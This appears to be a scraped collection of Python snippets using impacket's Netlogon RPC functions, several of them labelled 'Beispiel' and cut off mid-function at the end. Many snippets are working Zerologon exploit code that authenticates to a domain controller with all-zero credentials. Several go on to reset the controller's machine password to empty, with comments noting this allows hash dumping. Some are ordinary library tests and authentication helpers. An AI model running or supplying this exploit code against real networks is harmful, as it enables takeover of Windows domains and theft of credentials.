def try_zero_authenticate(dc_handle, dc_ip, target_computer):
                binding = epm.hept_map(dc_ip,
                                       nrpc.MSRPC_UUID_NRPC,
                                       protocol='ncacn_ip_tcp')
                rpc_con = transport.DCERPCTransportFactory(
                    binding).get_dce_rpc()
                rpc_con.connect()
                rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

                plaintext = b'\x00' * 8
                ciphertext = b'\x00' * 8
                flags = 0x212fffff

                nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                             target_computer + '\x00',
                                             plaintext)
                try:
                    server_auth = nrpc.hNetrServerAuthenticate3(
                        rpc_con, dc_handle + '\x00', target_computer + '$\x00',
                        nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                        target_computer + '\x00', ciphertext, flags)
                    assert server_auth['ErrorCode'] == 0
                    return rpc_con

                except nrpc.DCERPCSessionError as ex:
                    if ex.get_error_code() == 0xc0000022:
                        return None
                    else:
                        fail(
                            f'Unexpected error code from DC: {ex.get_error_code()}.'
                        )
                except BaseException as ex:
                    fail(f'Unexpected error: {ex}.')
Beispiel #2
0
def authenticate(rpc_con, user):
    Client_Challenge = bytes(random.getrandbits(8) for i in range(8))
    status = nrpc.hNetrServerReqChallenge(rpc_con, NULL,
                                          user.computer_name + '\x00',
                                          Client_Challenge)
    if (status == None or status['ErrorCode'] != 0):
        print('Error NetrServerReqChallenge')
    else:
        Server_Challenge = status['ServerChallenge']
        print("Client_Challenge : ", Client_Challenge)
        print("Server_Challenge : ", Server_Challenge)
    SessionKey = nrpc.ComputeSessionKeyAES(
        user.account_password, Client_Challenge, Server_Challenge,
        bytearray.fromhex(user.account_password))
    print("Session_Key : ", SessionKey)
    Credential = nrpc.ComputeNetlogonCredentialAES(Client_Challenge,
                                                   SessionKey)
    print("Credential : ", Credential)
    negotiateFlags = 0x612fffff
    try:
        resp = nrpc.hNetrServerAuthenticate3(
            rpc_con, user.dc_name + '\x00', user.account_name + '\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            user.computer_name + '\x00', Credential, negotiateFlags)
        Authenticator = nrpc.ComputeNetlogonAuthenticator(
            Credential, SessionKey)
        resp = nrpc.hNetrLogonGetCapabilities(rpc_con, user.dc_name,
                                              user.computer_name,
                                              Authenticator)
        print("Secure Channel is UP !")
    except Exception as e:
        print('Unexpected error code from DC')
Beispiel #3
0
    def connect(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', '12345678')
        #resp.dump()
        serverChallenge = resp['ServerChallenge']

        if self.hashes == '':
            ntHash = None
        else:
            ntHash = self.hashes.split(':')[1].decode('hex')

        self.sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,self.serverName + '\x00',ppp, 0x600FFFFF )
            #resp.dump()
        except Exception, e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        return True

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #5
0
    def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):
        dce, rpctransport = self.connect()
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + "\x00", "12345678")
        resp.dump()
        serverChallenge = resp["ServerChallenge"]

        if self.hashes == "":
            ntHash = None
        else:
            ntHash = unhexlify(self.hashes.split(":")[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, "12345678", serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential("12345678", sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(
            dce,
            NULL,
            self.username + "\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            self.serverName + "\x00",
            ppp,
            0x600FFFFF,
        )
        resp.dump()
Beispiel #6
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # 连接到DC的Netlogon服务。
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # 使用全零challenge和证书。
  plaintext = b'\x00' * 8
  ciphertext = b'\x00' * 8

  # Windows 10客户端观察到的标准标志(包括AES),只有签名/印章标志被禁用。
  flags = 0x212fffff

  # 发送challenge和证书请求包。
  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )

    
    # worked!
    assert server_auth['ErrorCode'] == 0
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    # 失败应该是由于状态拒绝访问的错误,攻击可能不会起作用。
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'来自DC的意外错误代码: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'意外错误: {ex}.')
Beispiel #7
0
def getSessionKey(computer, domain, domainIP, hashes, serverName, authMessage) :

    print ("Connecting to NETLOGON service : Authenticating Server")
    stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % domainIP
    rpctransport = transport.DCERPCTransportFactory(stringBinding)
    ntHash = unhexlify(hashes.split(':')[1])
    rpctransport.set_credentials(computer,"",domain,"",ntHash)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(nrpc.MSRPC_UUID_NRPC)
    resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName +"\x00",'12345678')
    serverChallenge = resp['ServerChallenge']
    sessionKey = nrpc.ComputeSessionKeyStrongKey('','12345678',serverChallenge, ntHash)
    ppp = nrpc.ComputeNetlogonCredential('12345678',sessionKey)
    nrpc.hNetrServerAuthenticate3(dce, NULL, computer+"\x00",nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF)
    clientStoredCredential = pack('<Q', unpack('<Q',ppp)[0] + 10)

    #SamLogonWithFlags
    print "Forwarding NTLM Response to DC"
    request = nrpc.NetrLogonSamLogonWithFlags()
    request['LogonServer'] = '\x00'
    request['ComputerName'] = serverName + '\x00'
    request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
    request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
    request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName']  = authMessage['domain_name'].decode('utf-16le')
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authMessage['user_name'].decode('utf-16le')
    request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
    request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = 'AAAAAAAA' #challenge
    request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authMessage['ntlm']
    request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authMessage['lanman']
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
    authenticator['Timestamp'] = 10
    request['Authenticator'] = authenticator
    request['ReturnAuthenticator']['Credential'] = '\x00'*8
    request['ReturnAuthenticator']['Timestamp'] = 0
    request['ExtraFlags'] = 0
    resp = dce.request(request)
    encryptedSessionKey = authMessage['session_key']
    sessionKey = generateEncryptedSessionKey(resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
    print "Retrieving Session Key from DC"
    return sessionKey
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)
        #====This section will change machine password to null, can dump hashes without password =====
        #use impacket nrpc.py function.  This emulates MS NetrServerPasswordSet2() function
        newPassRequest = nrpc.NetrServerPasswordSet2()
        newPassRequest['PrimaryName'] = dc_handle + '\x00'
        newPassRequest['AccountName'] = target_computer + '$\x00'
        newPassRequest[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        auth = nrpc.NETLOGON_AUTHENTICATOR()
        auth['Credential'] = b'\x00' * 8
        auth['Timestamp'] = 0
        newPassRequest['Authenticator'] = auth
        newPassRequest['ComputerName'] = target_computer + '\x00'
        newPassRequest['ClearNewPassword'] = b'\x00' * 516
        rpc_con.request(newPassRequest)
        #=======End section========

        # It worked!
        assert server_auth['ErrorCode'] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #9
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Creates bind to the DC over RPC.
    binding = epm.hept_map(dc_ip,
                           nrpc.MSRPC_UUID_NRPC,
                           protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    # Connects to RPC
    rpc_con.connect()
    # Creates bind to RPC
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8  # 16 Bytes, or two hextets of Zero
    ciphertext = b'\x00' * 8  # 16 Bytes, or two hextets of Zero

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Sends Server Challenge Request
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                 target_computer + '\x00', plaintext)
    try:
        #Attempts to Authenticate to the target Domain Controller and actually exploit Zero Logon
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)
        #If login is successful, begin the attempt to change the password
        #For more info see: https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py
        newPassRequest = nrpc.NetrServerPasswordSet2()
        newPassRequest['PrimaryName'] = dc_handle + '\x00'
        newPassRequest['AccountName'] = target_computer + '$\x00'
        newPassRequest[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        auth = nrpc.NETLOGON_AUTHENTICATOR()
        auth['Credential'] = b'\x00' * 8
        auth['Timestamp'] = 0
        newPassRequest['Authenticator'] = auth
        newPassRequest['ComputerName'] = target_computer + '\x00'
        newPassRequest['ClearNewPassword'] = b'\x00' * 516
        #Triggers password reset
        rpc_con.request(newPassRequest)
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')
Beispiel #10
0
    def dump(self, remoteName, remoteHost):

        stringbinding = epm.hept_map(remoteHost,
                                     nrpc.MSRPC_UUID_NRPC,
                                     protocol='ncacn_ip_tcp')
        logging.info('StringBinding %s' % stringbinding)
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)

        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00',
                                            b'12345678')
        serverChallenge = resp['ServerChallenge']

        ntHash = unhexlify(self.__nthash)

        # Empty at this point
        self.sessionKey = nrpc.ComputeSessionKeyAES('', b'12345678',
                                                    serverChallenge)

        self.ppp = nrpc.ComputeNetlogonCredentialAES(b'12345678',
                                                     self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(
                dce, '\\\\' + remoteName + '\x00', self.__username + '$\x00',
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                remoteName + '\x00', self.ppp, 0x212fffff)
        except Exception as e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise
        self.clientStoredCredential = pack('<Q',
                                           unpack('<Q', self.ppp)[0] + 10)

        request = NetrServerPasswordSet2()
        request['PrimaryName'] = '\\\\' + remoteName + '\x00'
        request['AccountName'] = remoteName + '$\x00'
        request[
            'SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
        request['Authenticator'] = self.update_authenticator()
        request['ComputerName'] = remoteName + '\x00'
        encpassword = nrpc.ComputeNetlogonCredentialAES(
            self.__password, self.sessionKey)
        indata = b'\x00' * (512 -
                            len(self.__password)) + self.__password + pack(
                                '<L', len(self.__password))
        request['ClearNewPassword'] = nrpc.ComputeNetlogonCredentialAES(
            indata, self.sessionKey)
        result = dce.request(request)
        print('Change password OK')
Beispiel #11
0
    def connect(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.machineUserHashes) > 0:
            lmhash, nthash = self.machineUserHashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.machineUser, '', self.domain,
                                         lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL,
                                            self.serverName + '\x00',
                                            b'12345678')
        resp.dump()
        serverChallenge = resp['ServerChallenge']

        if self.machineUserHashes == '':
            ntHash = None
        else:
            ntHash = unhexlify(self.machineUserHashes.split(':')[1])

        self.sessionKey = nrpc.ComputeSessionKeyStrongKey(
            '', b'12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(
                dce, NULL, self.machineUser + '\x00',
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
                self.serverName + '\x00', ppp, 0x600FFFFF)
            resp.dump()
        except Exception as e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise

        self.clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # dce.set_auth_type(RPC_C_AUTHN_NETLOGON)
        # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        # dce2 = dce.alter_ctx(nrpc.MSRPC_UUID_NRPC)
        # dce2.set_session_key(self.sessionKey)

        return dce, rpctransport
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  # Generate the challenge and credential.
  X = os.urandom(1)
  if '-sneaky' in sys.argv:
     Y = os.urandom(1)
     Z = os.urandom(1)
     plaintext = X*6 + Y + Z
     predictable_byte = bytes([ord(X) ^ ord(Y)])
     ciphertext = b'\x00' * 6 + predictable_byte + os.urandom(1) # pick a random digit, we have the same chance no matter what
  elif '-check' in sys.argv:
     Y = os.urandom(1)
     plaintext = X*7 + Y
     predictable_byte = bytes([ord(X) ^ ord(Y)])
     ciphertext = b'\x00' * 7 + predictable_byte
  else:
     plaintext = X*8
     ciphertext = b'\x00' * 8

  # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
  flags = 0x212fffff

  # Send challenge and authentication request.
  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )


    # It worked!
    assert server_auth['ErrorCode'] == 0
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'Unexpected error: {ex}.')
Beispiel #13
0
    def attempt_restoration(self, rpc_con: rpcrt.DCERPC_v5,
                            original_pwd_nthash: str) -> Optional[object]:
        plaintext = b"\x00" * 8
        ciphertext = b"\x00" * 8
        flags = 0x212FFFFF

        # Send challenge and authentication request.
        server_challenge_response = nrpc.hNetrServerReqChallenge(
            rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext)
        server_challenge = server_challenge_response["ServerChallenge"]

        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con,
            self.dc_handle + "\x00",
            self.dc_name + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            self.dc_name + "\x00",
            ciphertext,
            flags,
        )

        assert server_auth["ErrorCode"] == 0
        session_key = nrpc.ComputeSessionKeyAES(
            None,
            b"\x00" * 8,
            server_challenge,
            unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
        )

        try:
            nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
            nrpc.OPNUMS[6] = (NetrServerPasswordSet,
                              nrpc.NetrServerPasswordSetResponse)

            request = NetrServerPasswordSet()
            ZerologonExploiter._set_up_request(request, self.dc_name)
            request["PrimaryName"] = NULL
            pwd_data = impacket.crypto.SamEncryptNTLMHash(
                unhexlify(original_pwd_nthash), session_key)
            request["UasNewPassword"] = pwd_data

            rpc_con.request(request)

        except Exception as e:
            logger.info(f"Unexpected error: {e}")

        return rpc_con
Beispiel #14
0
    def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):
        dce, rpctransport = self.connect()
        resp = nrpc.hNetrServerReqChallenge(dce, NULL,  self.serverName + '\x00','12345678' )
        #resp.dump()
        serverChallenge = resp['ServerChallenge']

        if self.hashes == '':
            ntHash = None
        else:
            ntHash = self.hashes.split(':')[1].decode('hex')

        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, '12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(dce, NULL,self.username + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
,self.serverName + '\x00', ppp,0x600FFFFF )
Beispiel #15
0
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    try:
        binding = epm.hept_map(dc_ip,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')
        rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        rpc_con.connect()
        rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
    except Exception as error:
        pass
        return "conn"

# Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    try:
        nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00',
                                     target_computer + '\x00', plaintext)
    except Exception as error:
        return "bad"

    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00',
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags)

        # It worked!
        assert server_auth['ErrorCode'] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            return "break"
    except BaseException as ex:
        return "break"
Beispiel #16
0
    def connect(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.machineUserHashes) > 0:
            lmhash, nthash = self.machineUserHashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.machineUser, '', self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', b'12345678')
        resp.dump()
        serverChallenge = resp['ServerChallenge']

        if self.machineUserHashes == '':
            ntHash = None
        else:
            ntHash = unhexlify(self.machineUserHashes.split(':')[1])

        self.sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.machineUser + '\x00',
                                                 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
                                                 self.serverName + '\x00', ppp, 0x600FFFFF)
            resp.dump()
        except Exception as e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise

        self.clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # dce.set_auth_type(RPC_C_AUTHN_NETLOGON)
        # dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        # dce2 = dce.alter_ctx(nrpc.MSRPC_UUID_NRPC)
        # dce2.set_session_key(self.sessionKey)

        return dce, rpctransport
Beispiel #17
0
    def dump(self, remoteName, remoteHost):

        stringbinding = epm.hept_map(remoteHost,
                                     nrpc.MSRPC_UUID_NRPC,
                                     protocol='ncacn_ip_tcp')
        logging.info('StringBinding %s' % stringbinding)
        rpctransport = transport.DCERPCTransportFactory(stringbinding)
        rpctransport.setRemoteHost(remoteHost)

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.__username, self.__password,
                                         self.__domain, self.__lmhash,
                                         self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00',
                                            b'12345678')
        # resp.dump()
        serverChallenge = resp['ServerChallenge']

        ntHash = unhexlify(self.__nthash)

        self.sessionKey = nrpc.ComputeSessionKeyStrongKey(
            self.__password, b'12345678', serverChallenge, ntHash)

        self.ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(
                dce, NULL, self.__username + '\x00', nrpc.
                NETLOGON_SECURE_CHANNEL_TYPE.TrustedDnsDomainSecureChannel,
                remoteName + '\x00', self.ppp, 0x600FFFFF)
            # resp.dump()
        except Exception as e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise

        self.clientStoredCredential = pack('<Q',
                                           unpack('<Q', self.ppp)[0] + 10)

        return dce, rpctransport
Beispiel #18
0
    def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):
        dce, rpctransport = self.connect()
        resp = nrpc.hNetrServerReqChallenge(dce, NULL, self.serverName + '\x00', b'12345678')
        resp.dump()
        serverChallenge = resp['ServerChallenge']

        if self.machineUserHashes == '':
            ntHash = None
        else:
            ntHash = unhexlify(self.machineUserHashes.split(':')[1])

        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password, b'12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(dce, NULL, self.machineUser + '\x00',
                                             nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
                                             , self.serverName + '\x00', ppp, 0x600FFFFF)
        resp.dump()
Beispiel #19
0
    def test_hNetrServerReqChallenge_hNetrServerAuthenticate3(self):
        dce, rpctransport = self.connect()
        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName,
                                            self.machine_user, b'12345678')
        resp.dump()
        serverChallenge = resp['ServerChallenge']

        bnthash = self.machine_user_bnthash or None
        sessionKey = nrpc.ComputeSessionKeyStrongKey(self.password,
                                                     b'12345678',
                                                     serverChallenge, bnthash)

        ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

        resp = nrpc.hNetrServerAuthenticate3(
            dce, self.serverName, self.machine_user,
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
            self.machine_user, ppp, 0x600FFFFF)
        resp.dump()
    def connect(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)
        if len(self.hashes) > 0:
            lmhash, nthash = self.hashes.split(':')
        else:
            lmhash = ''
            nthash = ''
        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.username, self.password,
                                         self.domain, lmhash, nthash)
        dce = rpctransport.get_dce_rpc()
        #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        resp = nrpc.hNetrServerReqChallenge(dce, NULL,
                                            self.serverName + '\x00',
                                            '12345678')
        resp.dump()
        serverChallenge = resp['ServerChallenge']

        if self.hashes == '':
            ntHash = None
        else:
            ntHash = self.hashes.split(':')[1].decode('hex')

        self.sessionKey = nrpc.ComputeSessionKeyStrongKey(
            self.password, '12345678', serverChallenge, ntHash)

        ppp = nrpc.ComputeNetlogonCredential('12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(
                dce, NULL, self.username + '\x00',
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
                self.serverName + '\x00', ppp, 0x600FFFFF)
            resp.dump()
        except Exception, e:
            if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0:
                raise
Beispiel #21
0
    def authenticate(self, dce):
        resp = nrpc.hNetrServerReqChallenge(dce, self.serverName,
                                            self.machine_user, b'12345678')
        resp.dump()
        serverChallenge = resp['ServerChallenge']

        bnthash = self.machine_user_bnthash or None
        self.sessionKey = nrpc.ComputeSessionKeyStrongKey(
            '', b'12345678', serverChallenge, bnthash)

        self.clientStoredCredential = nrpc.ComputeNetlogonCredential(
            b'12345678', self.sessionKey)

        try:
            resp = nrpc.hNetrServerAuthenticate3(
                dce, self.serverName, self.machine_user + '\x00',
                nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel,
                self.machine_user, self.clientStoredCredential, 0x600FFFFF)
            resp.dump()
        except nrpc.DCERPCSessionError as e:
